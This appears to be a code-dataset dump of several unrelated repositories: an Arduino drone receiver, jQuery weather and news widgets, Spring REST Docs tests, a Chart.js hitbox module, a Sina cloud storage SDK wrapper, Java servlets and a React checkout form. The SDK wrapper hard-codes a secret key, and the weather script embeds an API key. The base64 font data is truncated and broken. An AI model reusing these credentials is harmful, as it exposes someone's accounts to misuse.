branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <repo_name>Puding07/Drone_Rreciever<file_sep>/lib/FlyTest/FlyTest.cpp
/*
FlyTest.h - Is a library for setting pins and hover the drone, also for radio communication too.
Created by <NAME>, October 28, 2019.
Released into the public domain.
*/
#include "FlyTest.h"
RH_ASK radio;
FlyTest::FlyTest()
{
pinMode(_leftFront, OUTPUT);
pinMode(_leftBack, OUTPUT);
}
void FlyTest::begin() {
Serial.begin(9600);
if(!radio.init()) {
Serial.println("init failed");
}
speed = 0;
Serial.println("Speed set to " + speed);
}
void FlyTest::hover() {
analogWrite(_leftFront, speed);
analogWrite(_leftBack, speed);
}
void FlyTest::stop() {
digitalWrite(_leftFront, LOW);
digitalWrite(_leftBack, LOW);
}
void FlyTest::get() {
String output = "";
uint8_t message[3];
uint8_t mLen = sizeof(message);
if (radio.recv(message, &mLen)) {
String s = "";
for (int i = 0; i < 3; i++)
{
s = s + ((char)message[i]);
}
if (s.charAt(1) == 'x') {
output = s.charAt(2);
} else if (s.charAt(0) == 'x')
{
output = s.charAt(1);
output += s.charAt(2);
} else {
output = s;
}
speed = output.toInt();
Serial.println(speed);
}
}<file_sep>/include/Header.h
#ifndef Header_h
#define Header_h
#include "Arduino.h"
#include "FlyTest.h"
#include "RH_ASK.h"
#endif<file_sep>/src/main.cpp
#include <Header.h>
FlyTest test;
void setup() {
Serial.println("Test");
test.begin();
}
void loop() {
test.get();
delay(100);
test.hover();
}<file_sep>/lib/FlyTest/FlyTest.h
/*
FlyTest.h - Is a library for setting pins and hover the drone, also for radio communication too.
Created by <NAME>, October 28, 2019.
Released into the public domain.
*/
#ifndef FlyTest_h
#define FlyTest_h
#include <Arduino.h>
#include <RH_ASK.h>
class FlyTest
{
private:
#define _leftFront 3
#define _leftBack A0
int speed;
char _speed[3];
public:
FlyTest();
void begin();
void hover();
void stop();
void get();
};
#endif | 8a792374dbe7afe6169111b82bc9ae419c72ac0b | [
"C",
"C++"
] | 4 | C++ | Puding07/Drone_Rreciever | 0b34906082cf66d2b089a3de24e4af7f7eeae8b0 | 12f83d4439fecec9bffa47a0cd418fc721f3452f |
refs/heads/master | <repo_name>JGR-M/el-mundo<file_sep>/js/weather.js
$(document).ready(function() {
$('#submitWeather').click(function() {
var city = $('#city').val();
if(city != ''){
$.ajax({
// always remember to add 's' at the HTTPS
url: 'https://api.openweathermap.org/data/2.5/weather?q=' + city + '&units=imperial' + '&APPID=4ed06e5c3a62464b150f64d2de562fea',
type: "GET",
dataType: "jsonp",
success: function(data){
var widget = show(data);
$("#show").html(widget);
$('#city').val('');
}
});
}else {
$('#error').html("Field cannot be empty.");
// <a onclick="M.toast({html: 'I am a toast'})" class="btn">Toast!</a>
}
})
});
function show(data){
return "<h3>" + data.name + ", " + data.sys.country + "</h3>" +
"<h4><strong>Weather</strong>: <img src='http://openweathermap.org/img/w/" + data.weather[0].icon + ".png'>" + data.weather[0].main + "</h4>" +
"<h4><strong>Temperature</strong>: " + data.main.temp + "°F</h4>";
// "<h3><strong>Humidity</strong>: " + data.main.humidity + "</h3>";
}
// js for weather applicationCache, working
// connected to clasico.html, button id submitWeather
<file_sep>/js/news.js
$(document).ready(function() {
$('#submitWeather').click(function() {
var city = $('#city').val();
if(city != ''){
$.ajax({
// always remember to add 's' at the HTTPS
url: 'https://newsapi.org/v2/everything?q=' + city + '&apiKey=<KEY>',
type: "GET",
dataType: "json",
success: function(data){
var widget = news(data);
$("#show-news").html(widget);
$('#city').val('');
}
});
};
});
});
function news(data){
return "<h4><strong>Current News </strong> <br>" + data.status + "</h4>" +
"<h4><strong> </strong> <br>" + data.name + "</h4>"
}; | 8e11ab93b6e6e6a063cc896c3c894f2d45e47dc3 | [
"JavaScript"
] | 2 | JavaScript | JGR-M/el-mundo | ed493462c50b0566ef96d043f26f0f513e7e3f14 | cc0f07b71eacdcd261cbafe5e42683444a250734 |
refs/heads/master | <file_sep>package courses.microservices.restdocsexample.web.model;
import java.math.BigDecimal;
import java.time.LocalDate;
import java.time.OffsetDateTime;
import java.time.ZoneOffset;
import courses.microservices.restdocsexample.domain.BeerStyle;
public class BaseTest {
BeerDTO getBeerDto() {
return BeerDTO.builder()
.name("Beer")
.style(BeerStyle.LAGER)
.upc(43557646897L)
.price(new BigDecimal("233.43"))
.quantityOnHand(233)
.createdDate(OffsetDateTime.of(2020, 11, 2, 10, 20, 46, 3453, ZoneOffset.UTC))
.lastModifiedDate(OffsetDateTime.of(2020, 11, 3, 18, 5, 47, 3453, ZoneOffset.UTC))
.localDate(LocalDate.now())
.build();
}
}
<file_sep>package courses.microservices.restdocsexample.bootstrap;
import java.math.BigDecimal;
import org.springframework.boot.CommandLineRunner;
import org.springframework.stereotype.Component;
import courses.microservices.restdocsexample.domain.Beer;
import courses.microservices.restdocsexample.repository.BeerRepository;
import lombok.RequiredArgsConstructor;
@Component
@RequiredArgsConstructor
public class BeerLoader implements CommandLineRunner {
private final BeerRepository beerRepository;
@Override
public void run(String... args) throws Exception {
loadBeers();
}
private void loadBeers() {
if (beerRepository.count() == 0) {
beerRepository.save(Beer.builder()
.name("Beer")
.style("ALE")
.quantityToBrew(20)
.minOnHand(12)
.upc(2343453454L)
.price(new BigDecimal("12.23"))
.build());
beerRepository.save(Beer.builder()
.name("Beer 2")
.style("PALE_ALE")
.quantityToBrew(100)
.minOnHand(20)
.upc(2343453572L)
.price(new BigDecimal("15.23"))
.build());
}
}
}
<file_sep>= Brewery Order Service Docs
:doctype: book
:icons: font
:source-highlighter: highlightjs
Sample application demostrating how to use Spring REST Docs with JUnit 5.
`BeerOrderControllerTest` makes a call to a very simple service and produces three documentation snippets.
HTTP request:
include::{snippets}/v1/beers-get/http-request.adoc[]
HTTP response:
include::{snippets}/v1/beers-get/http-response.adoc[]
Response body:
include::{snippets}/v1/beers-get/response-body.adoc[]
Response fields:
include::{snippets}/v1/beers-get/response-fields.adoc[]
New beer
HTTP request:
include::{snippets}/v1/beers-new/http-request.adoc[]
HTTP response:
include::{snippets}/v1/beers-new/http-response.adoc[]
Request fields:
include::{snippets}/v1/beers-new/request-fields.adoc[] | b3df5aa4006208b05d5d28bbca00f077715f513c | [
"Java",
"AsciiDoc"
] | 3 | Java | Led-Zeff/restdocs-example | eee612db885183442f1c6cacccbf7f6d3fa5bd04 | 088f4a76a5b1cdf53c823770247a54c069591fb1 |
refs/heads/master | <file_sep>'use strict';
import Chart from 'chart.js';
import utils from './utils';
var doPolygonsIntersect = utils.doPolygonsIntersect;
var rotatePolygon = utils.rotatePolygon;
var helpers = Chart.helpers;
var HitBox = function() {
this._rect = null;
this._rotation = 0;
};
helpers.extend(HitBox.prototype, {
update: function(center, rect, rotation) {
var margin = 1;
var cx = center.x;
var cy = center.y;
var x = cx + rect.x;
var y = cy + rect.y;
this._rotation = rotation;
this._rect = {
x0: x - margin,
y0: y - margin,
x1: x + rect.w + margin * 2,
y1: y + rect.h + margin * 2,
cx: cx,
cy: cy,
};
},
contains: function(x, y) {
var me = this;
var rect = me._rect;
var cx, cy, r, rx, ry;
if (!rect) {
return false;
}
cx = rect.cx;
cy = rect.cy;
r = me._rotation;
rx = cx + (x - cx) * Math.cos(r) + (y - cy) * Math.sin(r);
ry = cy - (x - cx) * Math.sin(r) + (y - cy) * Math.cos(r);
return !(rx < rect.x0
|| ry < rect.y0
|| rx > rect.x1
|| ry > rect.y1);
},
overlap: function(hitbox) {
var me = this;
if (!hitbox._rect || !me._rect) {
return false;
}
var firstPolygon = rotatePolygon({x: me._rect.cx, y: me._rect.cy}, me.getPolygon(), me._rotation);
var secondPolygon = rotatePolygon({x: hitbox._rect.cx, y: hitbox._rect.cy}, hitbox.getPolygon(), hitbox._rotation);
return doPolygonsIntersect(firstPolygon, secondPolygon);
},
getPolygon: function() {
var me = this;
if (!me._rect) {
return [];
}
return [{x: me._rect.x0, y: me._rect.y0}, {x: me._rect.x0, y: me._rect.y1}, {x: me._rect.x1, y: me._rect.y1}, {x: me._rect.x1, y: me._rect.y0}];
}
});
export default HitBox;
| 27bb36534601b159d3ae1dbd62c2c31d20446361 | [
"JavaScript"
] | 1 | JavaScript | Kilhog/chartjs-plugin-datalabels | 307dc364d5b4ab659bc788c59c04ba19135c8699 | b54465df4154a2c8b7833020d6d76f7ac81e94a4 |
refs/heads/1.1.0 | <file_sep>package utils;
import java.io.*;
import java.net.URL;
import java.util.*;
import com.sina.cloudstorage.auth.AWSCredentials;
import com.sina.cloudstorage.auth.BasicAWSCredentials;
import com.sina.cloudstorage.event.ProgressEvent;
import com.sina.cloudstorage.event.ProgressListener;
import com.sina.cloudstorage.services.scs.SCS;
import com.sina.cloudstorage.services.scs.SCSClient;
import com.sina.cloudstorage.services.scs.model.AccessControlList;
import com.sina.cloudstorage.services.scs.model.Bucket;
import com.sina.cloudstorage.services.scs.model.ObjectListing;
import com.sina.cloudstorage.services.scs.model.ObjectMetadata;
import com.sina.cloudstorage.services.scs.model.Permission;
import com.sina.cloudstorage.services.scs.model.PutObjectRequest;
import com.sina.cloudstorage.services.scs.model.PutObjectResult;
import com.sina.cloudstorage.services.scs.model.S3Object;
import com.sina.cloudstorage.services.scs.model.UserIdGrantee;
import com.sina.cloudstorage.services.scs.transfer.ObjectMetadataProvider;
public class SinaStoreSDK {
private String accessKey = "<KEY>";
private String secretKey = "01a03965e29bed4a51f51f57d10f4c60ba68a050";
private AWSCredentials credentials = new BasicAWSCredentials(accessKey, secretKey);
private SCS conn = new SCSClient(credentials);
/* ����url*/
public String generateUrl(String bucketName, String path, int minutes){
Date expiration = new Date(); //����ʱ��
long epochMillis = expiration.getTime();
epochMillis += 1000*60*minutes;
expiration = new Date(epochMillis);
URL presignedUrl = conn.generatePresignedUrl(bucketName, path, expiration, false);
return presignedUrl.toString();
}
/**
* 获取所有bucket
*/
public List<Bucket> getAllBuckets(){
List<Bucket> list = conn.listBuckets();
return list;
}
/**
* 创建bucket
*/
public void createBucket(String bucketName){
Bucket bucket = conn.createBucket(bucketName);
System.out.println(bucket);
}
/**
* 删除bucket
*/
public void deleteBucket(){
conn.deleteBucket("create-a-bucket");
}
/**
* 获取bucket ACL
*/
public void getBucketAcl(){
AccessControlList acl = conn.getBucketAcl("create-a-bucket");
System.out.println(acl);
}
/**
* 设置bucket acl
*/
public void putBucketAcl(){
AccessControlList acl = new AccessControlList();
acl.grantPermissions(UserIdGrantee.CANONICAL, Permission.Read, Permission.ReadAcp);
acl.grantPermissions(UserIdGrantee.ANONYMOUSE,
Permission.ReadAcp,
Permission.Write,
Permission.WriteAcp);
acl.grantPermissions(new UserIdGrantee("UserId"),
Permission.Read,
Permission.ReadAcp,
Permission.Write,
Permission.WriteAcp);
conn.setBucketAcl("create-a-bucket", acl);
}
/**
* 列bucket中所有文件
*/
public ObjectListing listObjects(String bucketName){
ObjectListing objectListing = conn.listObjects(bucketName);
System.out.println(objectListing);
return objectListing;
}
/**
* 获取object metadata
*/
public ObjectMetadata getObjectMeta(String bucketName, String path){
ObjectMetadata objectMetadata = conn.getObjectMetadata(bucketName, path);
System.out.println(objectMetadata.getUserMetadata());
System.out.println(objectMetadata.getContentLength());
System.out.println(objectMetadata.getRawMetadata());
System.out.println(objectMetadata.getETag());
return objectMetadata;
}
/**
* 下载object
* //断点续传
* GetObjectRequest rangeObjectRequest = new GetObjectRequest("test11", "/test/file.txt");
* rangeObjectRequest.setRange(0, 10); // retrieve 1st 10 bytes.
* S3Object objectPortion = conn.getObject(rangeObjectRequest);
*
* InputStream objectData = objectPortion.getObjectContent();
* // "Process the objectData stream.
* objectData.close();
*/
public void getObject(String bucketName, String path, String savePath){
//SDKGlobalConfiguration.setGlobalTimeOffset(-60*5);//自定义全局超时时间5分钟以后(可选项)
S3Object s3Obj = conn.getObject(bucketName, path);
InputStream in = s3Obj.getObjectContent();
byte[] buf = new byte[1024];
OutputStream out = null;
try {
out = new FileOutputStream(new File(savePath));
int count;
while( (count = in.read(buf)) != -1)
{
if( Thread.interrupted() )
{
throw new InterruptedException();
}
out.write(buf, 0, count);
}
System.out.println("下载成功");
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}finally{
//SDKGlobalConfiguration.setGlobalTimeOffset(0);//还原超时时间
try {
out.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
/**
* 上传文件
*/
public void putObject(String bucketName, String path, String fileName){
PutObjectResult putObjectResult = conn.putObject(bucketName,
path, new File(fileName));
System.out.println(putObjectResult);
}
// /**
// * 上传文件--进度回调方法
// */
// public void putObject(String bucketName, String path, String fileName){
// PutObjectRequest por = new PutObjectRequest(bucketName, path,
// new File(fileName)).withMetadata(new ObjectMetadata());
// por.setGeneralProgressListener(new ProgressListener() {
// @Override
// public void progressChanged(ProgressEvent progressEvent) {
// // TODO Auto-generated method stub
// System.out.println(progressEvent);
// }
// });
//
// PutObjectResult putObjectResult = conn.putObject(por);
// System.out.println(putObjectResult);
//
// }
/**
* 上传文件 自定义请求头
*/
public void putObjectWithCustomRequestHeader(String bucketName, String path, String fileName){
//自定义请求头k-v
Map<String, String> requestHeader = new HashMap<String, String>();
requestHeader.put("Content-type", "text/html;charset=utf-8");
PutObjectResult putObjectResult = conn.putObject(bucketName, path,
new File(fileName), requestHeader);
System.out.println(putObjectResult);//服务器响应结果
}
/**
* 删除Object
*/
public void deleteObject(String bucketName, String path){
conn.deleteObject(bucketName, path);
}
}
<file_sep>package servlet;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Writer;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import utils.DataHandler;
import utils.SessionUtil;
import utils.Settings;
/**
* Servlet implementation class query
*/
@WebServlet("/query")
public class query extends HttpServlet {
private static final long serialVersionUID = 1L;
private static final String RECORDS_PATH = new Settings().recordsPath;
/**
* @see HttpServlet#HttpServlet()
*/
public query() {
super();
// TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
SessionUtil sessionUtil = new SessionUtil();
if(sessionUtil.checkSession(request, response)) {
return;
}
Writer out = response.getWriter();
String date = request.getParameter("date");
if(date==null) {
response.setStatus(417);
out.append("hahaah");
return;
}
StringBuilder recordsSB = new StringBuilder("[");
try {
File fileName = new File(RECORDS_PATH+"/record"+date+".txt");
if(!fileName.exists()) {
response.setStatus(417);
return;
}
BufferedReader bReader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName), "utf-8"));
String string = bReader.readLine();
DataHandler dHandler = new DataHandler();
while((string = bReader.readLine())!=null) {
if("".equals(string)) {
continue;
}
recordsSB.append(dHandler.handle(string));
}
recordsSB.delete(recordsSB.length()-1,recordsSB.length());
recordsSB.append("]");
bReader.close();
} catch (FileNotFoundException e) {
// TODO: handle exception
response.setStatus(417);
return;
} catch (Exception e) {
// TODO: handle exception
response.setStatus(500);
return;
}
out.append(recordsSB);
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
doGet(request, response);
}
}
<file_sep>package javabean;
public class SongInfo{
private String name;
private String by;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getBy() {
return by;
}
public void setBy(String by) {
this.by = by;
}
public SongInfo(String name, String by) {
super();
this.name = name;
this.by = by;
}
}<file_sep>package servlet;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Writer;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import utils.SessionUtil;
import utils.Settings;
/**
* Servlet implementation class login
*/
@WebServlet("/login")
public class login extends HttpServlet {
private static final long serialVersionUID = 1L;
/**
* Default constructor.
*/
public login() {
// TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
Writer out = response.getWriter();
String mode = request.getParameter("mode");
mode = mode==null?"-1":mode;
String account = request.getParameter("account");
account = account==null?"-1":account;
String password = request.getParameter("password");
password = password==null?"-1":password;
String sId = request.getParameter("sessionId");
sId = sId==null?"-1":sId;
SessionUtil sUtil = new SessionUtil();
String sessionId = "";
switch (mode) {
case "login":
sessionId = sUtil.login(account, password);
break;
case "register":
sessionId = sUtil.register(account, password);
break;
default:
break;
}
if(!"".equals(sessionId)) {
out.append(sessionId);
}else {
response.setStatus(402);
out.append("-1");
}
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
doGet(request, response);
}
}
<file_sep># FLSTSWeb
web
<file_sep>package fileUtils;
public class LyricsUtils {
}
| cf97c52ffc19a8a24705b53c76e4f9240688bf21 | [
"Markdown",
"Java"
] | 6 | Java | csldev/FLSTSWeb | 83274bf65e4d1e04a5c6ed105bd4f7392c17450a | bfcbb67bbc68852edbb596ead672b5b2f6029000 |
refs/heads/main | <file_sep>const Engine = Matter.Engine;
const World = Matter.World;
const Bodies = Matter.Bodies;
const Constraint = Matter.Constraint;
//Create variables here
var dog;
var happyDog;
var database;
var foodS;
var foodStock;
function preload()
{
//load images here
dogimg=loadImage("images/dogImg.png");
happyDogimg=loadImage("images/dogImg1.png");
}
function setup()
{
createCanvas(500,500);
engine=Engine.create();
world=engine.world;
dog=createSprite(250,250,10,10);
dog.addImage("dog",dogimg);
dog.scale=0.5;
database=firebase.database();
foodStock=database.ref('food');
foodStock.on("value",readStock);
}
function draw()
{
background(46,139,87);
if(keyWentDown(UP_ARROW))
{
feedpet();
}
drawSprites();
//add styles here
stroke(4);
textSize(20);
fill("black");
text("Note:Press UP_ARROW KEY to Feed Drago Milk!",200,50);
}
//Function to read values from DB
function readStock(data)
{
foodS=data.val();
}
//Function to write values in DB
function writeStock(data)
{
foodStock.set(data)
}
function feedpet(){
if(foodS>0){
writeStock(foodS-1);
dog.addImage("happydog",happyDogimg);
}
else{
dog.addImage("dog",dogimg);
}
} | 975e01d467f38ba17a2f66f5ef82f2483252bc80 | [
"JavaScript"
] | 1 | JavaScript | Gowrisivani/Project34 | 20e10a1640b003da27a7a57f6960d787a9507bad | 0b865566c161d634fdd805b673b0855bab7e17d9 |
refs/heads/master | <file_sep>import React from 'react';
import styled from 'styled-components';
import H3 from 'components/H3';
import media from 'components/Media';
import Img from 'components/Img';
import lock from './lock.png';
import payment from './payment.png';
import Label from './Label';
import Input from './Input';
const Header = styled(H3)`
padding-bottom: 1em;
padding-top: 1.2em;
`;
const Col = styled.span`
display: inline-block;
${(props) => !props.noPad && 'padding-right: 1.2em;'}
padding-bottom: 0.8em;
width: 100%;
${media.phone`padding-bottom: 1.1em;`}
`;
const Wrapper = styled.div`
background-color: #FAFAFA;
padding: 1.5em;
padding-right: 1.2em;
border: 1px solid #e6e6e6;
`;
const TwoThirds = styled(Col)`
width: 66.7%;
${media.phone`width: 100%;`}
`;
const Third = styled(Col)`
width: 33.3%;
${media.phone`width: 100%;`}
`;
const Fourth = styled(Col)`
width: 25%;
${media.phone`width: 50%;`}
`;
const Half = styled(Col)`
width: 50%;
font-size: ${(props) => props.small ? '0.85em' : '1em'};
padding-right: ${(props) => props.noPad ? '0' : '1.2em'};
${media.phone`width: 100%;`}
`;
const Safe = styled(Half)`
color: #219700;
font-weight: 600;
font-size: 14px;
float: left;
`;
const ImgLock = styled(Img)`
padding-right: 0.7em;
`;
const ImgPayment = styled(Img)`
padding-top: 0.4em;
float: right;
${media.phone`float: left;`}
`;
const Button = styled.button`
width: 248px;
height: 50px;
color: white;
background-color: #FF458F;
font-weight: 600;
float: right;
margin-top: 1em;
cursor: hand;
cursor: pointer;
${media.phone`float: none; margin-top: 1.5em; margin-left: 3em;`}
`;
const Error = styled.div`
position: absolute;
color: red;
top: 38px;
font-size: 12px;
font-weight: 400;
`;
const Field = (props) =>
(
<Label inverted={props.inverted}>
<Input
error={props.error && props.error.length > 0}
question={props.question}
id={props.id}
type={props.type}
autocomplete="off"
autocorrect="off"
placeholder={props.placeholder}
value={props.value}
onChange={props.onChange}
onBlur={props.onBlur}
inverted={props.inverted}
/>
{props.question && <Q />}
{props.error && props.error.length > 0 && <Error>{props.error}</Error>}
</Label>
);
Field.propTypes = {
id: React.PropTypes.string,
onChange: React.PropTypes.func,
onBlur: React.PropTypes.func,
value: React.PropTypes.string,
placeholder: React.PropTypes.string,
type: React.PropTypes.string,
inverted: React.PropTypes.bool,
question: React.PropTypes.bool,
error: React.PropTypes.string,
};
const I = styled.i`
color: white !important;
padding: 0;
`;
const FAStack = styled.span`
top: 5px;
background-color: #FAFAFA;
height: 50px;
vertical-align: middle;
`;
const Q = () => (<FAStack className="fa-stack">
<i className="fa fa-circle fa-stack-1x"></i>
<I className="fa fa-question fa-stack-1x"></I>
</FAStack>);
const Checkbox = styled(Input)`
display: inline-block;
width: 22px;
`;
const CheckboxLabel = styled.label`
font-size: 0.8em;
`;
class Form extends React.Component {
constructor(props) {
super(props);
this.state = {
username: '',
email: '',
emailError: '',
password: '',
passwordError: '',
address: '',
apt: '',
zipcode: '',
state: '',
city: '',
country: '',
phone: '',
useAddress: true,
};
}
update = (field, e) => this.setState({ [field]: e.target.value });
updateCheckbox = (field) => this.setState({ [field]: !this.state[field] });
updatePass = (e, error) => { this.update('password', e); error.length > 0 && this.validatePass(e); };
validatePass = (e) => this.setState({ passwordError: e.target.value.length < 10 ? 'Password has to be at least 10 symbols long.' : '' });
updateEmail = (e, error) => { this.update('email', e); error.length > 0 && this.validateEmail(e); };
validateEmail = (e) => this.setState({ emailError: e.target.value.indexOf('@') === -1 ? 'Valid email address required.' : '' });
validateSecurityCode = (e) => this.setState({ secCodeError: e.target.value === '111' ? 'Bad security code.' : '' });
render() {
const state = this.state;
return (
<div>
<Header>Create account</Header>
<Half>
<Field id="email" error={state.emailError} type="email" placeholder="Email address" value={state.email} onChange={(e) => { this.updateEmail(e, state.emailError); }} onBlur={this.validateEmail} />
</Half>
<Half>
<Field id="password" error={state.passwordError} type="password" placeholder="<PASSWORD>" value={state.password} onChange={(e) => { this.updatePass(e, state.passwordError); }} onBlur={this.validatePass} />
</Half>
<Header>Shipping address</Header>
<Half>
<Field id="firstName" type="text" placeholder="<NAME>" value={state.firstName} onChange={(e) => { this.update('firstName', e); }} />
</Half>
<Half>
<Field id="lastName" type="text" placeholder="<NAME>" value={state.lastName} onChange={(e) => { this.update('lastName', e); }} />
</Half>
<TwoThirds>
<Field id="address" type="text" placeholder="Street address" value={state.address} onChange={(e) => { this.update('address', e); }} />
</TwoThirds>
<Third>
<Field id="apt" type="text" placeholder="Apt/Suite (Optional)" value={state.apt} onChange={(e) => { this.update('apt', e); }} />
</Third>
<Third>
<Field id="zipcode" type="text" placeholder="Zip code" value={state.zipcode} onChange={(e) => { this.update('zipcode', e); }} />
</Third>
<Third>
<Field id="state" type="text" placeholder="State" value={state.state} onChange={(e) => { this.update('state', e); }} />
</Third>
<Third>
<Field id="city" type="text" placeholder="City" value={state.city} onChange={(e) => { this.update('city', e); }} />
</Third>
<Col>
<Field id="country" type="text" placeholder="Country" value={state.country} onChange={(e) => { this.update('country', e); }} />
</Col>
<Half>
<Field id="phone" type="text" placeholder="Mobile number (optional)" value={state.phone} onChange={(e) => { this.update('phone', e); }} />
</Half>
<Half small>
We may send you special discounts and offers
</Half>
<div>
<CheckboxLabel htmlFor="useAddress">
<Checkbox
id="useAddress"
type="checkbox"
checked={state.useAddress}
onChange={(e) => { this.updateCheckbox('useAddress', e); }}
/>
Use this address as my billing address
</CheckboxLabel>
</div>
{!this.state.useAddress &&
<span>
<Header>Billing address</Header>
<TwoThirds>
<Field id="address" type="text" placeholder="Street address" value={state.address} onChange={(e) => { this.update('address', e); }} />
</TwoThirds>
<Third>
<Field id="apt" type="text" placeholder="Apt/Suite (Optional)" value={state.apt} onChange={(e) => { this.update('apt', e); }} />
</Third>
<Third>
<Field id="zipcode" type="text" placeholder="Zip code" value={state.zipcode} onChange={(e) => { this.update('zipcode', e); }} />
</Third>
<Third>
<Field id="state" type="text" placeholder="State" value={state.state} onChange={(e) => { this.update('state', e); }} />
</Third>
<Third>
<Field id="city" type="text" placeholder="City" value={state.city} onChange={(e) => { this.update('city', e); }} />
</Third>
<Col>
<Field id="country" type="text" placeholder="Country" value={state.country} onChange={(e) => { this.update('country', e); }} />
</Col>
</span>}
<Header>Secure credit card payment</Header>
<Wrapper>
<Safe><ImgLock src={lock} alt="encrypted" />128-BIT ENCRYPTION. YOU’RE SAFE
</Safe>
<Half noPad>
<ImgPayment src={payment} alt="payment methods" />
</Half>
<TwoThirds>
<Field inverted id="card" type="text" placeholder="Credit card number" value={state.card} onChange={(e) => { this.update('card', e); }} />
</TwoThirds>
<Third>
<Field error={state.secCodeError} question inverted id="sec" type="text" placeholder="Security code" value={state.sec} onChange={(e) => { this.update('sec', e); this.validateSecurityCode(e); }} onBlur={this.validateSecurityCode} />
</Third>
<Fourth>
<Field inverted id="month" type="text" placeholder="Month" value={state.month} onChange={(e) => { this.update('month', e); }} />
</Fourth>
<Fourth>
<Field inverted id="year" type="text" placeholder="Year" value={state.year} onChange={(e) => { this.update('year', e); }} />
</Fourth>
</Wrapper>
<Col noPad><Button>BUY NOW</Button></Col>
</div>
);
}
}
export default Form;
<file_sep>import styled from 'styled-components';
const Label = styled.label`
padding: 10px 0;
position: relative;
background: ${(props) => props.inverted ? 'white' : '#FAFAFA'};
`;
export default Label;
<file_sep>import { injectGlobal } from 'styled-components';
import media from 'components/Media';
/* eslint no-unused-expressions: 0 */
injectGlobal`
html,
body {
height: 100%;
width: 100%;
}
@font-face {
font-family: "Proxima Nova";
src: url(data:font/opentype;base64,d09GRgABAAAAAFHwABIAAAAAicgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEWU5BAAAGfAAAALgAAAGJNI0oHkZGVE0AAAGUAAAAHAAAABxdnq3SR0RFRgAABzQAAAA4AAAAQgSqBTxHUE9TAAAHbAAABMcAABJA2ebyWU9TLzIAAAXkAAAAVwAAAGB+d3oxY21hcAAAUDgAAAG2AAAC5lCJVL9jdnQgAAABsAAAACoAAAAqBcgINmZwZ20AAAHcAAABsgAAAmUjt<KEY>ABBnb<KEY>BcAAGUAmrOZ/2hlYW<KEY>bjung<KEY>Aw<KEY>Jb<KEY>AA<KEY>/DQAocHJ<KEY>pAAAAdrKIeW<KEY>AMmJbzEAAAAAyRrGBAAAAADK+nic/pAAAAPGBTYAaABSAFwAXgBoAHIAWQB6AGAAZABtAGoAdABMAEYASgBmAAB42l1Ru05bQRDdDQ+TBBJjg+RoU8xmQhrvhYYCJBBXF8XIdmM5QtqNXORiXMAHUCBRg/ZrBmgoKdKmQcgFUj6BT0BiZk2iKM3Ozuycc+bMknKk6l1a7<KEY>
font-style: normal;
font-weight: 300;
}
@font-face {
font-family: "Proxima Nova";
src: url(data:font/opentype;base64,d<KEY>//<KEY>+UfTf8Z974gf5kNMEAA==);
font-style: normal;
font-weight: 600;
}
body {
font-family: 'Proxima Nova', 'Helvetica Neue', Helvetica, Arial, sans-serif;
}
#app {
background-color: white;
min-height: 100%;
min-width: 100%;
${media.phone`padding: 0.7em;`}
}
p,
label {
font-family: 'Proxima Nova', 'Helvetica Neue', Helvetica, Arial, sans-serif;
line-height: 1.5em;
}
`;
<file_sep>Demo at http://58ab8de071e20a133602b066.editor-classifications-61330.netlify.com/<file_sep>import React from 'react';
import styled from 'styled-components';
import Img from 'components/Img';
import item from './item.png';
const ImgCenter = styled(Img)`
display: block;
margin: 0 auto;
height: 284px;
padding: 3em;
padding-top: 0;
`;
const Wrapper = styled.div`
padding: 2em;
padding-bottom: 1em;
border: 1px solid #E6E6E6;
font-size: 14px;
`;
const Hr = styled.hr`
border: none;
color: #E6E6E6;
background-color: #E6E6E6;
height: 1px;
margin-bottom: 0.5em;
`;
const Row = styled.span`
width: 50%;
display: inline-block;
line-height: 2em;
`;
const LeftRow = styled(Row)`
text-align:left;
`;
const RightRow = styled(Row)`
text-align:right;
`;
const Discount = styled(RightRow)`
color: #FF3A8E;
`;
const Total = styled.div`
font-weight: 700;
letter-spacing: 1px;
font-size: 16px;
`;
const A = styled.a`
text-decoration: none;
border-bottom: 1px dashed black;
color: #FF3A8E;
cursor: hand;
cursor: pointer;
`;
const Coupon = styled.div`
padding-top: 2em;
padding-bottom: 1em;
font-size: 1em;
`;
const Checkbox = styled.input`
margin-left: 0.3em;
`;
const LeftBlock = () =>
(
<Wrapper>
<div><ImgCenter src={item} alt="item" /><Hr /></div>
<div>
<div>
<LeftRow>Monthly subscription</LeftRow>
